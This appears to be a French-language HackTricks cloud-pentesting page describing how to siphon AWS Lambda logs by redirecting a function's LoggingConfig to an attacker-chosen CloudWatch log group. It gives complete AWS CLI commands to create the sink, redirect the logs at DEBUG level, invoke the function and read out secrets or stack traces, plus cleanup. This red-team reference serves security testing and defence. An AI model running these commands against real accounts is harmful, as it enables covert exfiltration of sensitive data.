AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Exploiter les contrĂŽles de logging avancĂ©s lambda:UpdateFunctionConfiguration pour rediriger les logs d’une fonction vers un CloudWatch Logs log group choisi par l’attaquant. Cela fonctionne sans modifier le code ni le rĂŽle d’exĂ©cution (la plupart des rĂŽles Lambda incluent dĂ©jĂ  logs:CreateLogGroup/CreateLogStream/PutLogEvents via AWSLambdaBasicExecutionRole). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les rĂ©cupĂ©rer depuis le nouveau log group.

Permissions requises

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ou vous appuyer sur des triggers existants)
  • logs:CreateLogGroup (souvent non requis si le rĂŽle de la fonction l’a dĂ©jĂ )
  • logs:FilterLogEvents (pour lire les Ă©vĂ©nements)

Étapes

  1. Créer un log group de destination
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Rediriger les logs de la fonction cible
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Attendez que LastUpdateStatus devienne Successful :

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Invoquer et lire depuis le sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Impact

  • Rediriger furtivement tous les logs d’application/systĂšme vers un log group que vous contrĂŽlez, contournant l’hypothĂšse que les logs n’atterrissent que dans /aws/lambda/<fn>.
  • Exfiltrer des donnĂ©es sensibles affichĂ©es par la fonction ou remontĂ©es dans les erreurs.

Nettoyage

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Remarques

  • Les paramĂštres de journalisation font partie du LoggingConfig de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Par dĂ©faut, Lambda envoie les logs vers /aws/lambda/<function>, mais vous pouvez pointer vers n’importe quel LogGroup ; Lambda (ou le rĂŽle d’exĂ©cution) le crĂ©era si cela est autorisĂ©.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks